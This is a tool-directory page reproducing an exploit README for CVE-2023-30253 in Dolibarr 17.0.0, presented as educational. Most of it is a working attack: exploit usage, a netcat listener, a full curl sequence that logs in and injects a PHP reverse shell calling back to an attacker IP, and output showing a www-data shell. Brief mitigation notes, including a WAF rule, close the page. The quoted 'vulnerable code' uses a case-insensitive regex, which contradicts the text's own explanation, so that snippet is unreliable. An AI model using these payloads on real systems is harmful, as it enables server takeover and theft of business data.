Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via PHP code injection (exploit educativo) | Kitploit
Tools/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via PHP code injection (exploit educativo)

View Repository
33 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Python 3.8+ License CVSS

PHP code injection exploit for Dolibarr ERP/CRM v17.0.0 that allows obtaining a reverse shell as www-data user via the Website/CMS module.

⚠️ For educational purposes and authorized audits only.


📑 Table of Contents

  • What is CVE-2023-30253?
  • How does the vulnerability work?
  • Impact
  • What does this exploit do?
  • Requirements
  • Installation
  • Usage
  • Practical example
  • The exploit step by step
Mitigation
  • References

  • 🔍 What is CVE-2023-30253?

    CVE-2023-30253 is a PHP code injection vulnerability (CWE-94: Improper Control of Generation of Code) in Dolibarr ERP/CRM versions prior to 17.0.1.

    It was discovered and reported by the Swascan team (now Hacktivesecurity) in May 2023. The vulnerability resides in the Website/CMS module, which allows authenticated users to create and manage websites within Dolibarr.

    FieldValue
    CVECVE-2023-30253
    CVSS v3.18.8 (HIGH)
    VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    TypeCWE-94 — Code Injection
    Affected softwareDolibarr ERP/CRM < 17.0.1
    PrivilegesAuthenticated user (any role)
    PatchDolibarr 17.0.1 — commit 4f6055c

    ⚙️ How does the vulnerability work?

    Dolibarr implements a filter to prevent users from injecting PHP code into the content of Website module pages. However, this filter has a critical flaw: it is case-sensitive.

    root@kitploit:~
    // Vulnerable code (simplified) in Dolibarr 17.0.0
    if (preg_match('/<\?php/i', $content)) {
        // Blocks only "<?php" in exact lowercase... or not?
        die("PHP code detected!");
    }
    

    The filter literally looks for the string <?php in lowercase. But PHP allows any combination of uppercase and lowercase for the opening tag. This means:

    TagFiltered?Executed by PHP?
    <?php ... ?>✅✅
    <?PHP ... ?>❌✅
    <?Php ... ?>❌✅
    <?pHp ... ?>❌✅

    The exploit uses <?PHP (uppercase) to bypass the filter, but any variant works.

    Additionally, the filter is only applied when saving the content. When serving the page, Dolibarr passes the content without additional sanitization to the PHP interpreter, which executes any code with the <? opening tag.


    💥 Impact

    An authenticated attacker can:

    • Remote Command Execution (RCE) on the server
    • Access the Dolibarr database (clients, invoices, users)
    • Read sensitive system files (/etc/passwd, configuration)
    • Use the server as a pivot point for internal attacks
    • Install malware, webshells, or persistent backdoors

    Why is it critical? Dolibarr is used as an enterprise ERP/CRM. An intrusion can expose customer data, finances, contracts, and internal credentials.


    🛠️ What does this exploit do?

    The exploit automates the complete exploitation process in 5 steps:

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────┐
    │                   CVE-2023-30253                       │
    │                                                         │
    │  1. Login          → Authenticate to Dolibarr           │
    │  2. Create Website → Create an empty website            │
    │  3. Create Page    → Create a page within the site      │
    │  4. Inject Shell   → Inject PHP reverse shell           │
    │  5. Trigger        → Execute the payload                │
    │                                                         │
    │  Result: 🎯 Reverse shell as www-data                   │
    └─────────────────────────────────────────────────────────┘
    

    Features:

    • ✅ Automatic handling of anti-CSRF tokens
    • ✅ Persistent session with cookies
    • ✅ Automatic detection of pageid
    • ✅ Verbose mode for debugging
    • ✅ Colored output (can be disabled)
    • ✅ Reverse shell payload via fsockopen + proc_open

    📋 Requirements

    • Python 3.8+
    • requests
    • beautifulsoup4

    Or simply:

    root@kitploit:~
    pip install -r requirements.txt
    

    📦 Installation

    root@kitploit:~
    # Clone the repository
    git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
    cd CVE-2023-30253-exploit
    
    # Install dependencies
    pip install -r requirements.txt
    

    🚀 Usage

    root@kitploit:~
    python exploit.py <target> <username> <password> <lhost> <lport> [options]
    

    Positional arguments:

    ArgumentDescriptionExample
    targetBase URL of Dolibarrhttp://crm.board.htb
    usernameDolibarr usernameadmin
    passwordDolibarr passwordadmin
    lhostYour IP (where you will receive the shell)10.10.14.5
    lportYour port (where you will receive the shell)4444

    Options:

    OptionDescription
    -v, --verboseShow detailed debug information
    --no-colorDisable colors in output
    -h, --helpShow help and examples

    🎯 Practical example

    Terminal 1 — Start reverse shell listener

    root@kitploit:~
    nc -lvnp 4444
    

    Terminal 2 — Run exploit

    root@kitploit:~
    python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
    

    Expected output

    root@kitploit:~
    ════════════════════════════════════════════════════════
     CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
    ════════════════════════════════════════════════════════
    
      Target:   http://crm.board.htb
      User:     admin
      LHOST:    10.10.14.5
      LPORT:    4444
      Site ID:  s3a1f2bc
    
    ──────────────────────────────────────────────────
    
    [10:45:12] Step 1/5: Logging in...
    [10:45:12]   ✓ Session started successfully
    
    [10:45:13] Step 2/5: Creating website...
    [10:45:13]   ✓ Website 's3a1f2bc' created
    
    [10:45:13] Step 3/5: Creating page within the site...
    [10:45:13]   ✓ Page created inside the site
    
    [10:45:14] Step 4/5: Injecting reverse shell → 10.10.14.5:4444...
    [10:45:14]   ✓ PHP code injected successfully
    
    [10:45:14] Step 5/5: Executing payload (trigger)...
    
    ════════════════════════════════════════════════════════
      EXPLOITATION COMPLETED
    ════════════════════════════════════════════════════════
    
      Trigger URL:
      http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
    
      Instructions:
      1. In another terminal, start your listener:
         nc -lvnp 4444
      2. Access the Trigger URL (the exploit already did this)
      3. You will receive a reverse shell as www-data
    

    Terminal 1 — Shell obtained 🎯

    root@kitploit:~
    Listening on 0.0.0.0 4444
    Connection received on 10.129.231.37 52846
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    🔬 The exploit step by step

    If you prefer to understand the process manually (without the script), here is the complete flow:

    1. Authenticate

    root@kitploit:~
    # Get cookies and CSRF token
    curl -c cookies.txt http://crm.board.htb/ > /dev/null
    
    # Extract token
    TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    # Login
    curl -b cookies.txt -c cookies.txt \
      -X POST "http://crm.board.htb/index.php?mainmenu=home" \
      -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
    

    2. Create a website

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?action=createsite" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
    

    ⚠️ Lesson learned: The correct action parameter is addsite, not add as appears in some public exploits.

    3. Create a page

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
    

    4. Inject PHP code

    root@kitploit:~
    TOKEN=$(curl -s -b cookies.txt \
      "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
      | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
    
    PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
    
    curl -b cookies.txt -X POST \
      "http://crm.board.htb/website/index.php" \
      --data-urlencode "token=$TOKEN" \
      --data-urlencode "action=updatesource" \
      --data-urlencode "website=misitio" \
      --data-urlencode "PAGE_CONTENT=$PHP"
    

    🔑 Key to the attack: The correct field is PAGE_CONTENT, not WEBSITE_CONTENT. Many public PoCs have this error.

    5. Execute the payload

    root@kitploit:~
    curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
    

    🛡️ Mitigation

    To protect a Dolibarr server against this vulnerability:

    Update (recommended)

    root@kitploit:~
    # Update to Dolibarr 17.0.1 or higher
    # The patch fixes the filter to detect any variant of <?php
    

    Disable Website module

    If you don't use the Website/CMS module, disable it from:

    root@kitploit:~
    Home → Setup → Modules → Website → Disable
    

    WAF rules (mod_security)

    root@kitploit:~
    # Block any variant of PHP tags in the PAGE_CONTENT field
    SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
      "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
    

    Principle of least privilege

    • Do not use admin accounts for everyday users
    • Limit who can access the Website module

    📚 References

    • NVD — CVE-2023-30253
    • Swascan Advisory — Dolibarr 17.0.0 Analysis
    • Dolibarr GitHub — Patch commit
    • CWE-94: Code Injection
    • Hacktivesecurity — Original Report

    📝 Disclaimer

    This project is created for educational and research purposes in computer security. The use of this exploit against systems without explicit authorization is illegal and ethically reprehensible.

    As a cybersecurity professional, I firmly believe in:

    • Responsible disclosure of vulnerabilities
    • Ethical hacking with authorization
    • Sharing knowledge to improve collective security

    Created by Jean Carlos
    Cybersecurity Student | Pentesting | CTF Player
    CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

    Download Tool